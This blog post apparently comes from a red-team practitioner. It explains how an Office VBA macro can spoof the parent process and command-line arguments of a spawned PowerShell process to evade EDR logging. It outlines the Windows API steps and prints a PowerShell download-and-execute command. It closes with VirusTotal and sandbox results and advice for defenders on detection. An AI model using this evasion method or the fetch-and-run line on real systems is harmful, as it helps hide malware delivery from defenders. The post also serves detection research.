Building an Office macro to spoof parent processes and command line arguments

Most modern EDR solutions use behavioral detection, allowing to detect malware based on how it behaves instead of solely using static indicators of compromise (IoC) like file hashes or domain names. In this post, I give a VBA implementation of two techniques allowing to spoof both the parent process and the command line arguments of a newly created process. This implementation allows crafting stealthier Office macros, making a process spawned by a macro look like it has been created by another program such as explorer.exe and has benign-looking command line arguments.

I am not the author of these techniques. Credits go to Will Burgess (Red Teaming in the EDR age), Didier Stevens, and Casey Smith.


First, a bit of background on the techniques we’ll implement in Visual Basic. I first heard about them in an awesome talk, Red Teaming in the EDR age, presented by Will Burgess at the Wild West Hackin’ Fest 2018.

Process parent spoofing

When a process spawns a child process, EDR solutions such as Sysmon log the action and record various information such as the newly created process name, hash, executable path, as well as information about the parent process. This is very handy to build behavioral rules such as “Microsoft Word should never spawn powershell.exe”. These are rules that, in my experience, are of low complexity, high added value, and generate a low amount of false positives.

Example of a powershell process being spawned by Microsoft Word. This does not look legitimate at all.

It turns out that when creating a process using the Windows native API, you can specify any arbitrary process to be used as a parent process. This is nothing new and I won’t describe in more depth. Actually, Didier Stevens blogged about this 10 years ago! Here’s for reference a sample piece of C++ code which will spawn cmd.exe with an arbitrary process as a parent.

The calc.exe process appears like it has been spawned by notepad.exe

Process command line spoofing

This is a newer technique which, as far as I know, was first described by Casey Smith on Twitter (@subtee), as Will Burgess says in his talk. Adam Chester then wrote a proof-of-concept C++ code on his blog. I encourage you to go and read his article to understand the details of the implementation. But let’s take a quick look at how this technique works.

When a process is created, an internal Windows data structure, the Process Environment Block, is mapped inside the process virtual memory. This data structure contains a bunch of information about the process itself such as the list of loaded modules and the command line used to start the process. Since the PEB (and therefore the command line) is stored in the memory space of the process and not in kernel space, it is quite easy to overwrite it provided we have the appropriate rights on the process.

The PEB inside notepad.exe’s virtual memory space. The region is marked as RW, so we can write to it.

More specifically, the technique works as follows:

  1. Create the process in a suspended state
  2. Retrieve the PEB address using NtQueryInformationProcess
  3. Overwrite the command line stored in the PEB using WriteProcessMemory
  4. Resume the process

This will cause Windows to log the command line provided in step (1), even though the process code will take into account the command line used to overwrite the original one in step (3). The full proof-of-concept code written by Adam Chester is available on Github.

VBA implementation


These two proof-of-concept are pretty awesome – but what if we could achieve the same from within an Office macro, which is a classical (if not the most used) attack vector? It turns out we can call low-level Windows APIs directly from VBA code using P/Invoke. As an example, if you wanted to call the function OpenProcess defined as:

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId

… you’d need the following VBA snippet:

… allowing you to easily make the call:

This means that if we define all the necessary bindings and data structures inside our VBA code, we should be able to implement the two techniques described above to spawn a new process with a spoofed parent and command line.

The plan is as follows:

  1. Retrieve the PID of a legitimate-looking process such as explorer.exe
  2. Create a new process (such as powershell.exe) with this process as a parent, with a legitimate looking command line, and in a suspended state
  3. Overwrite the process command line in the PEB
  4. Resume the process

As an illustration, the original command line we could be using is something like:

powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName
… which is just a powershell command to list running services whose name contains network. Then, we could overwrite it with a command line which would download a powershell payload from the Internet and execute it:
powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString(''))


After almost a whole week-end trying to wrap my head around VisualBasic (which I had never used before), P/Invoke, and debugging arguably readable VBA errors, I managed to get the VBA implementation to work. Here it is!

Here is what Sysmon logs when the macro is executed:

… while the actual parent process is WINWORD.exe, and the actual command line being executed is powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString(‘’)). Tools like Process Monitor also fall for the trick:

Usage in the wild

Malicious documents using similar spoofing techniques have been documented in several cases. I was able to find the following with a bit of googling:

If you have additional samples (or a VT Enterprise subscription allowing you to retrieve this one), I’d be eager to take a look at them – feel free to PM me.


Countercept published an article describing how to detect parent PID spoofing.

From a logging perspective, the implication of these techniques is that we cannot trust process creation events blindly. However, we have other options. First, we can enable Powershell Module Logging to get a runtime log of the powershell modules being called. Here, the following log entry would clearly indicate malicious activity.

Additionally, Sysmon (and most likely other EDR solutions) still logs the fact that powershell.exe is making a network connection, and shortly after spawning a process (calc.exe). This could also be considered as a suspicious behavior to raise alerts on.

Finally, we can think about how such a threat could be identified earlier in an attack chain: caught by an IDS, detected by a mail gateway performing sandboxing, rendered useless on the endpoint if macros are disabled, etc.

Anti-virus detection

At the time of writing, the detection rate on VirusTotal with no obfuscation is pretty high, 21/61 (analysis link). However, purely dynamic analysis such as performed by does not detect malicious activity (analysis link) and marks the file as merely “Suspicious”. Here also, the parent and command line spoofing tricked the sandbox.

“Suspicious” you say? 😉
Powershell.exe is showed with no parent does not show the actual command line ran by Powershell

Something a bit more advanced like Joe Sandbox, however, detects additional suspicious elements inside the file and classifies it at malicious. For instance, it detects that the powershell.exe process is spawned in a suspended state, which is by itself suspicious.



Although process creation logs have a huge value for us as blue teamers, we should be careful not to trust them blindly. Having a wide range of available logs – windows, EDR, firewall, proxy, IDS, mail gateways – is likely what’s gonna allow us to find evil. As a red teamer or penetration tester, using these techniques can be handy to bypass EDR solutions that only rely on process creation logs.

Thanks a lot for reading. I’d be very happy to continue the discussion on Twitter (@christophetd). Feel free to shoot me a PM for any remark, question or error you might have spotted.

4 thoughts on “Building an Office macro to spoof parent processes and command line arguments

  1. Pingback:

  2. I think that’s because these tools detect & log based on the lpCommandLine of CreateProcess, but smart ones knows that’s untrustable, they detect based on where they catch this CreateProcess call.

  3. Pingback:

  4. Pingback:

Leave a Reply

Your email address will not be published. Required fields are marked *